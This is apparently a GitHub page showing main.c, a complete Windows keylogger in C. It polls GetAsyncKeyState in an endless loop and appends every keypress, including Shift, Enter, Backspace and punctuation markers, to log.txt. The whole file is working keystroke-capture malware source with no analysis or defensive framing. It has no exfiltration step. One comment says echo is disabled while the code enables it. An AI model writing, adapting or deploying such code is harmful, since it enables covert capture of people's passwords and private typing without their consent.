-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.c
86 lines (80 loc) · 2.38 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <windows.h>
#include <stdio.h>
#include <string.h>
void logKeystrokes(int key, char *file) {
// Open the file in append mode
FILE *log = fopen(file, "a+");
if (log == NULL) {
printf("Error opening file!\n");
return;
}
// Write the key pressed to the file
if ((key >= '0' && key <= '9') || (key >= 'A' && key <= 'Z') || (key >= 'a' && key <= 'z')) {
fprintf(log, "%c", key);
} else {
switch (key) {
case VK_SPACE:
fprintf(log, " ");
break;
case VK_SHIFT:
fprintf(log, "[SHIFT]");
break;
case VK_RETURN:
fprintf(log, "[ENTER]\n");
break;
case VK_BACK:
fprintf(log, "[BACKSPACE]");
break;
case VK_TAB:
fprintf(log, "[TAB]");
break;
case VK_CONTROL:
fprintf(log, "[CTRL]");
break;
case VK_DELETE:
fprintf(log, "[DEL]");
break;
case VK_OEM_1:
fprintf(log, "[;:]");
break;
case VK_OEM_2:
fprintf(log, "[/?]");
break;
case VK_OEM_PLUS:
fprintf(log, "[+]");
break;
case VK_OEM_COMMA:
fprintf(log, "[,]");
break;
case VK_OEM_MINUS:
fprintf(log, "[-]");
break;
case VK_OEM_PERIOD:
fprintf(log, "[.]");
break;
default:
fprintf(log, "[%d]", key);
break;
}
}
// Close the file
fclose(log);
}
int main() {
char file[] = "log.txt";
// Set the console mode to enable line input and to disable echo input
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
DWORD mode = 0;
GetConsoleMode(hStdin, &mode);
SetConsoleMode(hStdin, mode | ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT);
// Record the keystrokes
while (1) {
for (int key = 0; key < 256; key++) {
short status = GetAsyncKeyState(key);
if (status == -32767) {
logKeystrokes(key, file);
}
}
}
return 0;
}